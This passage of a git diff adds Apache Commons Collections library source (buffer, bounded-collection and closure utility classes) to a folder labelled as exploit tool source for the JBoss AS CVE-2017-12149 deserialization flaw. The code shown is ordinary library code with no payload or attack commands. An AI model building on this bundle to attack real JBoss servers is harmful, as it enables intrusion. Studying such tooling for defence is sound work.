"a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BoundedCollection.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BoundedCollection.java" new file mode 100644 index 0000000..2bd0139 --- /dev/null +++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BoundedCollection.java" @@ -0,0 +1,52 @@ +/* + * Copyright 2002-2004 The Apache Software Foundation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.commons.collections; + +import java.util.Collection; + +/** + * Defines a collection that is bounded in size. + *
+ * The size of the collection can vary, but it can never exceed a preset
+ * maximum number of elements. This interface allows the querying of details
+ * associated with the maximum number of elements.
+ *
+ * @see CollectionUtils#isFull
+ * @see CollectionUtils#maxSize
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.11 $ $Date: 2004/04/14 20:13:11 $
+ *
+ * @author Herve Quiroz
+ * @author Stephen Colebourne
+ */
+public interface BoundedCollection extends Collection {
+
+ /**
+ * Returns true if this collection is full and no new elements can be added.
+ *
+ * @return true
if the collection is full
+ */
+ boolean isFull();
+
+ /**
+ * Gets the maximum size of the collection (the bound).
+ *
+ * @return the maximum number of elements the collection can hold
+ */
+ int maxSize();
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BoundedFifoBuffer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BoundedFifoBuffer.java"
new file mode 100644
index 0000000..c9d8864
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BoundedFifoBuffer.java"
@@ -0,0 +1,310 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.AbstractCollection;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+
+/**
+ * The BoundedFifoBuffer is a very efficient implementation of
+ * Buffer that does not alter the size of the buffer at runtime.
+ *
+ * The removal order of a BoundedFifoBuffer
is based on the
+ * insertion order; elements are removed in the same order in which they
+ * were added. The iteration order is the same as the removal order.
+ *
+ * The {@link #add(Object)}, {@link #remove()} and {@link #get()} operations + * all perform in constant time. All other operations perform in linear + * time or worse. + *
+ * Note that this implementation is not synchronized. The following can be
+ * used to provide synchronized access to your BoundedFifoBuffer
:
+ *
+ * Buffer fifo = BufferUtils.synchronizedBuffer(new BoundedFifoBuffer()); + *+ *
+ * This buffer prevents null objects from being added.
+ *
+ * @deprecated Moved to buffer subpackage. Due to be removed in v4.0.
+ * @since 2.1
+ * @version $Revision: 1.16 $ $Date: 2004/02/18 01:15:43 $
+ *
+ * @author Avalon
+ * @author Berin Loritsch
+ * @author Paul Jack
+ * @author Stephen Colebourne
+ * @author Herve Quiroz
+ */
+public class BoundedFifoBuffer extends AbstractCollection
+ implements Buffer, BoundedCollection {
+
+ private final Object[] m_elements;
+ private int m_start = 0;
+ private int m_end = 0;
+ private boolean m_full = false;
+ private final int maxElements;
+
+ /**
+ * Constructs a new BoundedFifoBuffer
big enough to hold
+ * 32 elements.
+ */
+ public BoundedFifoBuffer() {
+ this(32);
+ }
+
+ /**
+ * Constructs a new BoundedFifoBuffer
big enough to hold
+ * the specified number of elements.
+ *
+ * @param size the maximum number of elements for this fifo
+ * @throws IllegalArgumentException if the size is less than 1
+ */
+ public BoundedFifoBuffer(int size) {
+ if (size <= 0) {
+ throw new IllegalArgumentException("The size must be greater than 0");
+ }
+ m_elements = new Object[size];
+ maxElements = m_elements.length;
+ }
+
+ /**
+ * Constructs a new BoundedFifoBuffer
big enough to hold all
+ * of the elements in the specified collection. That collection's
+ * elements will also be added to the buffer.
+ *
+ * @param coll the collection whose elements to add, may not be null
+ * @throws NullPointerException if the collection is null
+ */
+ public BoundedFifoBuffer(Collection coll) {
+ this(coll.size());
+ addAll(coll);
+ }
+
+ /**
+ * Returns the number of elements stored in the buffer.
+ *
+ * @return this buffer's size
+ */
+ public int size() {
+ int size = 0;
+
+ if (m_end < m_start) {
+ size = maxElements - m_start + m_end;
+ } else if (m_end == m_start) {
+ size = (m_full ? maxElements : 0);
+ } else {
+ size = m_end - m_start;
+ }
+
+ return size;
+ }
+
+ /**
+ * Returns true if this buffer is empty; false otherwise.
+ *
+ * @return true if this buffer is empty
+ */
+ public boolean isEmpty() {
+ return size() == 0;
+ }
+
+ /**
+ * Returns true if this collection is full and no new elements can be added.
+ *
+ * @return true
if the collection is full
+ */
+ public boolean isFull() {
+ return size() == maxElements;
+ }
+
+ /**
+ * Gets the maximum size of the collection (the bound).
+ *
+ * @return the maximum number of elements the collection can hold
+ */
+ public int maxSize() {
+ return maxElements;
+ }
+
+ /**
+ * Clears this buffer.
+ */
+ public void clear() {
+ m_full = false;
+ m_start = 0;
+ m_end = 0;
+ Arrays.fill(m_elements, null);
+ }
+
+ /**
+ * Adds the given element to this buffer.
+ *
+ * @param element the element to add
+ * @return true, always
+ * @throws NullPointerException if the given element is null
+ * @throws BufferOverflowException if this buffer is full
+ */
+ public boolean add(Object element) {
+ if (null == element) {
+ throw new NullPointerException("Attempted to add null object to buffer");
+ }
+
+ if (m_full) {
+ throw new BufferOverflowException("The buffer cannot hold more than " + maxElements + " objects.");
+ }
+
+ m_elements[m_end++] = element;
+
+ if (m_end >= maxElements) {
+ m_end = 0;
+ }
+
+ if (m_end == m_start) {
+ m_full = true;
+ }
+
+ return true;
+ }
+
+ /**
+ * Returns the least recently inserted element in this buffer.
+ *
+ * @return the least recently inserted element
+ * @throws BufferUnderflowException if the buffer is empty
+ */
+ public Object get() {
+ if (isEmpty()) {
+ throw new BufferUnderflowException("The buffer is already empty");
+ }
+
+ return m_elements[m_start];
+ }
+
+ /**
+ * Removes the least recently inserted element from this buffer.
+ *
+ * @return the least recently inserted element
+ * @throws BufferUnderflowException if the buffer is empty
+ */
+ public Object remove() {
+ if (isEmpty()) {
+ throw new BufferUnderflowException("The buffer is already empty");
+ }
+
+ Object element = m_elements[m_start];
+
+ if (null != element) {
+ m_elements[m_start++] = null;
+
+ if (m_start >= maxElements) {
+ m_start = 0;
+ }
+
+ m_full = false;
+ }
+
+ return element;
+ }
+
+ /**
+ * Increments the internal index.
+ *
+ * @param index the index to increment
+ * @return the updated index
+ */
+ private int increment(int index) {
+ index++;
+ if (index >= maxElements) {
+ index = 0;
+ }
+ return index;
+ }
+
+ /**
+ * Decrements the internal index.
+ *
+ * @param index the index to decrement
+ * @return the updated index
+ */
+ private int decrement(int index) {
+ index--;
+ if (index < 0) {
+ index = maxElements - 1;
+ }
+ return index;
+ }
+
+ /**
+ * Returns an iterator over this buffer's elements.
+ *
+ * @return an iterator over this buffer's elements
+ */
+ public Iterator iterator() {
+ return new Iterator() {
+
+ private int index = m_start;
+ private int lastReturnedIndex = -1;
+ private boolean isFirst = m_full;
+
+ public boolean hasNext() {
+ return isFirst || (index != m_end);
+
+ }
+
+ public Object next() {
+ if (!hasNext()) throw new NoSuchElementException();
+ isFirst = false;
+ lastReturnedIndex = index;
+ index = increment(index);
+ return m_elements[lastReturnedIndex];
+ }
+
+ public void remove() {
+ if (lastReturnedIndex == -1) throw new IllegalStateException();
+
+ // First element can be removed quickly
+ if (lastReturnedIndex == m_start) {
+ BoundedFifoBuffer.this.remove();
+ lastReturnedIndex = -1;
+ return;
+ }
+
+ // Other elements require us to shift the subsequent elements
+ int i = lastReturnedIndex + 1;
+ while (i != m_end) {
+ if (i >= maxElements) {
+ m_elements[i - 1] = m_elements[0];
+ i = 0;
+ } else {
+ m_elements[i - 1] = m_elements[i];
+ i++;
+ }
+ }
+
+ lastReturnedIndex = -1;
+ m_end = decrement(m_end);
+ m_elements[m_end] = null;
+ m_full = false;
+ index = decrement(index);
+ }
+
+ };
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BoundedMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BoundedMap.java"
new file mode 100644
index 0000000..e878204
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BoundedMap.java"
@@ -0,0 +1,48 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Map;
+
+/**
+ * Defines a map that is bounded in size.
+ *
+ * The size of the map can vary, but it can never exceed a preset
+ * maximum number of elements. This interface allows the querying of details
+ * associated with the maximum number of elements.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Stephen Colebourne
+ */
+public interface BoundedMap extends Map {
+
+ /**
+ * Returns true if this map is full and no new elements can be added.
+ *
+ * @return true
if the map is full
+ */
+ boolean isFull();
+
+ /**
+ * Gets the maximum size of the map (the bound).
+ *
+ * @return the maximum number of elements the map can hold
+ */
+ int maxSize();
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Buffer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Buffer.java"
new file mode 100644
index 0000000..587df2c
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Buffer.java"
@@ -0,0 +1,63 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Collection;
+
+/**
+ * Defines a collection that allows objects to be removed in some well-defined order.
+ *
+ * The removal order can be based on insertion order (eg, a FIFO queue or a + * LIFO stack), on access order (eg, an LRU cache), on some arbitrary comparator + * (eg, a priority queue) or on any other well-defined ordering. + *
+ * Note that the removal order is not necessarily the same as the iteration
+ * order. A Buffer
implementation may have equivalent removal
+ * and iteration orders, but this is not required.
+ *
+ * This interface does not specify any behavior for
+ * {@link Object#equals(Object)} and {@link Object#hashCode} methods. It
+ * is therefore possible for a Buffer
implementation to also
+ * also implement {@link java.util.List}, {@link java.util.Set} or
+ * {@link Bag}.
+ *
+ * @since Commons Collections 2.1
+ * @version $Revision: 1.10 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Avalon
+ * @author Berin Loritsch
+ * @author Paul Jack
+ * @author Stephen Colebourne
+ */
+public interface Buffer extends Collection {
+
+ /**
+ * Gets and removes the next object from the buffer.
+ *
+ * @return the next object in the buffer, which is also removed
+ * @throws BufferUnderflowException if the buffer is already empty
+ */
+ Object remove();
+
+ /**
+ * Gets the next object from the buffer without removing it.
+ *
+ * @return the next object in the buffer, which is not removed
+ * @throws BufferUnderflowException if the buffer is empty
+ */
+ Object get();
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BufferOverflowException.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BufferOverflowException.java"
new file mode 100644
index 0000000..1f59a71
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BufferOverflowException.java"
@@ -0,0 +1,73 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+/**
+ * The BufferOverflowException is used when the buffer's capacity has been
+ * exceeded.
+ *
+ * @since Commons Collections 2.1
+ * @version $Revision: 1.9 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Avalon
+ * @author Berin Loritsch
+ * @author Jeff Turner
+ * @author Paul Jack
+ * @author Stephen Colebourne
+ */
+public class BufferOverflowException extends RuntimeException {
+
+ /** The root cause throwable */
+ private final Throwable throwable;
+
+ /**
+ * Constructs a new BufferOverflowException
.
+ */
+ public BufferOverflowException() {
+ super();
+ throwable = null;
+ }
+
+ /**
+ * Construct a new BufferOverflowException
.
+ *
+ * @param message the detail message for this exception
+ */
+ public BufferOverflowException(String message) {
+ this(message, null);
+ }
+
+ /**
+ * Construct a new BufferOverflowException
.
+ *
+ * @param message the detail message for this exception
+ * @param exception the root cause of the exception
+ */
+ public BufferOverflowException(String message, Throwable exception) {
+ super(message);
+ throwable = exception;
+ }
+
+ /**
+ * Gets the root cause of the exception.
+ *
+ * @return the root cause
+ */
+ public final Throwable getCause() {
+ return throwable;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BufferUnderflowException.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BufferUnderflowException.java"
new file mode 100644
index 0000000..478d159
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BufferUnderflowException.java"
@@ -0,0 +1,76 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.NoSuchElementException;
+
+/**
+ * The BufferUnderflowException is used when the buffer is already empty.
+ *
+ * NOTE: From version 3.0, this exception extends NoSuchElementException.
+ *
+ * @since Commons Collections 2.1
+ * @version $Revision: 1.11 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Avalon
+ * @author Berin Loritsch
+ * @author Jeff Turner
+ * @author Paul Jack
+ * @author Stephen Colebourne
+ */
+public class BufferUnderflowException extends NoSuchElementException {
+
+ /** The root cause throwable */
+ private final Throwable throwable;
+
+ /**
+ * Constructs a new BufferUnderflowException
.
+ */
+ public BufferUnderflowException() {
+ super();
+ throwable = null;
+ }
+
+ /**
+ * Construct a new BufferUnderflowException
.
+ *
+ * @param message the detail message for this exception
+ */
+ public BufferUnderflowException(String message) {
+ this(message, null);
+ }
+
+ /**
+ * Construct a new BufferUnderflowException
.
+ *
+ * @param message the detail message for this exception
+ * @param exception the root cause of the exception
+ */
+ public BufferUnderflowException(String message, Throwable exception) {
+ super(message);
+ throwable = exception;
+ }
+
+ /**
+ * Gets the root cause of the exception.
+ *
+ * @return the root cause
+ */
+ public final Throwable getCause() {
+ return throwable;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BufferUtils.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BufferUtils.java"
new file mode 100644
index 0000000..8842593
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BufferUtils.java"
@@ -0,0 +1,146 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import org.apache.commons.collections.buffer.BlockingBuffer;
+import org.apache.commons.collections.buffer.PredicatedBuffer;
+import org.apache.commons.collections.buffer.SynchronizedBuffer;
+import org.apache.commons.collections.buffer.TransformedBuffer;
+import org.apache.commons.collections.buffer.TypedBuffer;
+import org.apache.commons.collections.buffer.UnmodifiableBuffer;
+
+/**
+ * Provides utility methods and decorators for {@link Buffer} instances.
+ *
+ * @since Commons Collections 2.1
+ * @version $Revision: 1.20 $ $Date: 2004/04/01 20:12:00 $
+ *
+ * @author Paul Jack
+ * @author Stephen Colebourne
+ */
+public class BufferUtils {
+
+ /**
+ * An empty unmodifiable buffer.
+ */
+ public static final Buffer EMPTY_BUFFER = UnmodifiableBuffer.decorate(new ArrayStack(1));
+
+ /**
+ * BufferUtils
should not normally be instantiated.
+ */
+ public BufferUtils() {
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns a synchronized buffer backed by the given buffer.
+ * Much like the synchronized collections returned by
+ * {@link java.util.Collections}, you must manually synchronize on
+ * the returned buffer's iterator to avoid non-deterministic behavior:
+ *
+ *
+ * Buffer b = BufferUtils.synchronizedBuffer(myBuffer); + * synchronized (b) { + * Iterator i = b.iterator(); + * while (i.hasNext()) { + * process (i.next()); + * } + * } + *+ * + * @param buffer the buffer to synchronize, must not be null + * @return a synchronized buffer backed by that buffer + * @throws IllegalArgumentException if the Buffer is null + */ + public static Buffer synchronizedBuffer(Buffer buffer) { + return SynchronizedBuffer.decorate(buffer); + } + + /** + * Returns a synchronized buffer backed by the given buffer that will + * block on {@link Buffer#get()} and {@link Buffer#remove()} operations. + * If the buffer is empty, then the {@link Buffer#get()} and + * {@link Buffer#remove()} operations will block until new elements + * are added to the buffer, rather than immediately throwing a + *
BufferUnderflowException
.
+ *
+ * @param buffer the buffer to synchronize, must not be null
+ * @return a blocking buffer backed by that buffer
+ * @throws IllegalArgumentException if the Buffer is null
+ */
+ public static Buffer blockingBuffer(Buffer buffer) {
+ return BlockingBuffer.decorate(buffer);
+ }
+
+ /**
+ * Returns an unmodifiable buffer backed by the given buffer.
+ *
+ * @param buffer the buffer to make unmodifiable, must not be null
+ * @return an unmodifiable buffer backed by that buffer
+ * @throws IllegalArgumentException if the Buffer is null
+ */
+ public static Buffer unmodifiableBuffer(Buffer buffer) {
+ return UnmodifiableBuffer.decorate(buffer);
+ }
+
+ /**
+ * Returns a predicated (validating) buffer backed by the given buffer.
+ * + * Only objects that pass the test in the given predicate can be added to the buffer. + * Trying to add an invalid object results in an IllegalArgumentException. + * It is important not to use the original buffer after invoking this method, + * as it is a backdoor for adding invalid objects. + * + * @param buffer the buffer to predicate, must not be null + * @param predicate the predicate used to evaluate new elements, must not be null + * @return a predicated buffer + * @throws IllegalArgumentException if the Buffer or Predicate is null + */ + public static Buffer predicatedBuffer(Buffer buffer, Predicate predicate) { + return PredicatedBuffer.decorate(buffer, predicate); + } + + /** + * Returns a typed buffer backed by the given buffer. + *
+ * Only elements of the specified type can be added to the buffer. + * + * @param buffer the buffer to predicate, must not be null + * @param type the type to allow into the buffer, must not be null + * @return a typed buffer + * @throws IllegalArgumentException if the buffer or type is null + */ + public static Buffer typedBuffer(Buffer buffer, Class type) { + return TypedBuffer.decorate(buffer, type); + } + + /** + * Returns a transformed buffer backed by the given buffer. + *
+ * Each object is passed through the transformer as it is added to the + * Buffer. It is important not to use the original buffer after invoking this + * method, as it is a backdoor for adding untransformed objects. + * + * @param buffer the buffer to predicate, must not be null + * @param transformer the transformer for the buffer, must not be null + * @return a transformed buffer backed by the given buffer + * @throws IllegalArgumentException if the Buffer or Transformer is null + */ + public static Buffer transformedBuffer(Buffer buffer, Transformer transformer) { + return TransformedBuffer.decorate(buffer, transformer); + } + +} diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Closure.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Closure.java" new file mode 100644 index 0000000..9775c89 --- /dev/null +++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Closure.java" @@ -0,0 +1,46 @@ +/* + * Copyright 2001-2004 The Apache Software Foundation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.commons.collections; + +/** + * Defines a functor interface implemented by classes that do something. + *
+ * A Closure
represents a block of code which is executed from
+ * inside some block, function or iteration. It operates an input object.
+ *
+ * Standard implementations of common closures are provided by
+ * {@link ClosureUtils}. These include method invokation and for/while loops.
+ *
+ * @since Commons Collections 1.0
+ * @version $Revision: 1.11 $ $Date: 2004/04/14 20:08:56 $
+ *
+ * @author James Strachan
+ * @author Nicola Ken Barozzi
+ * @author Stephen Colebourne
+ */
+public interface Closure {
+
+ /**
+ * Performs an action on the specified input object.
+ *
+ * @param input the input to execute on
+ * @throws ClassCastException (runtime) if the input is the wrong class
+ * @throws IllegalArgumentException (runtime) if the input is invalid
+ * @throws FunctorException (runtime) if any other error occurs
+ */
+ public void execute(Object input);
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ClosureUtils.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ClosureUtils.java"
new file mode 100644
index 0000000..f400736
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ClosureUtils.java"
@@ -0,0 +1,351 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+
+import org.apache.commons.collections.functors.ChainedClosure;
+import org.apache.commons.collections.functors.EqualPredicate;
+import org.apache.commons.collections.functors.ExceptionClosure;
+import org.apache.commons.collections.functors.ForClosure;
+import org.apache.commons.collections.functors.IfClosure;
+import org.apache.commons.collections.functors.InvokerTransformer;
+import org.apache.commons.collections.functors.NOPClosure;
+import org.apache.commons.collections.functors.SwitchClosure;
+import org.apache.commons.collections.functors.TransformerClosure;
+import org.apache.commons.collections.functors.WhileClosure;
+
+/**
+ * ClosureUtils
provides reference implementations and utilities
+ * for the Closure functor interface. The supplied closures are:
+ *
count
times.
+ *
+ * A null closure or zero count returns the NOPClosure
.
+ *
+ * @see org.apache.commons.collections.functors.ForClosure
+ *
+ * @param count the number of times to loop
+ * @param closure the closure to call repeatedly
+ * @return the for
closure
+ */
+ public static Closure forClosure(int count, Closure closure) {
+ return ForClosure.getInstance(count, closure);
+ }
+
+ /**
+ * Creates a Closure that will call the closure repeatedly until the
+ * predicate returns false.
+ *
+ * @see org.apache.commons.collections.functors.WhileClosure
+ *
+ * @param predicate the predicate to use as an end of loop test, not null
+ * @param closure the closure to call repeatedly, not null
+ * @return the while
closure
+ * @throws IllegalArgumentException if either argument is null
+ */
+ public static Closure whileClosure(Predicate predicate, Closure closure) {
+ return WhileClosure.getInstance(predicate, closure, false);
+ }
+
+ /**
+ * Creates a Closure that will call the closure once and then repeatedly
+ * until the predicate returns false.
+ *
+ * @see org.apache.commons.collections.functors.WhileClosure
+ *
+ * @param closure the closure to call repeatedly, not null
+ * @param predicate the predicate to use as an end of loop test, not null
+ * @return the do-while
closure
+ * @throws IllegalArgumentException if either argument is null
+ */
+ public static Closure doWhileClosure(Closure closure, Predicate predicate) {
+ return WhileClosure.getInstance(predicate, closure, true);
+ }
+
+ /**
+ * Creates a Closure that will invoke a specific method on the closure's
+ * input object by reflection.
+ *
+ * @see org.apache.commons.collections.functors.InvokerTransformer
+ * @see org.apache.commons.collections.functors.TransformerClosure
+ *
+ * @param methodName the name of the method
+ * @return the invoker
closure
+ * @throws IllegalArgumentException if the method name is null
+ */
+ public static Closure invokerClosure(String methodName) {
+ // reuse transformer as it has caching - this is lazy really, should have inner class here
+ return asClosure(InvokerTransformer.getInstance(methodName));
+ }
+
+ /**
+ * Creates a Closure that will invoke a specific method on the closure's
+ * input object by reflection.
+ *
+ * @see org.apache.commons.collections.functors.InvokerTransformer
+ * @see org.apache.commons.collections.functors.TransformerClosure
+ *
+ * @param methodName the name of the method
+ * @param paramTypes the parameter types
+ * @param args the arguments
+ * @return the invoker
closure
+ * @throws IllegalArgumentException if the method name is null
+ * @throws IllegalArgumentException if the paramTypes and args don't match
+ */
+ public static Closure invokerClosure(String methodName, Class[] paramTypes, Object[] args) {
+ // reuse transformer as it has caching - this is lazy really, should have inner class here
+ return asClosure(InvokerTransformer.getInstance(methodName, paramTypes, args));
+ }
+
+ /**
+ * Create a new Closure that calls two Closures, passing the result of
+ * the first into the second.
+ *
+ * @see org.apache.commons.collections.functors.ChainedClosure
+ *
+ * @param closure1 the first closure
+ * @param closure2 the second closure
+ * @return the chained
closure
+ * @throws IllegalArgumentException if either closure is null
+ */
+ public static Closure chainedClosure(Closure closure1, Closure closure2) {
+ return ChainedClosure.getInstance(closure1, closure2);
+ }
+
+ /**
+ * Create a new Closure that calls each closure in turn, passing the
+ * result into the next closure.
+ *
+ * @see org.apache.commons.collections.functors.ChainedClosure
+ *
+ * @param closures an array of closures to chain
+ * @return the chained
closure
+ * @throws IllegalArgumentException if the closures array is null
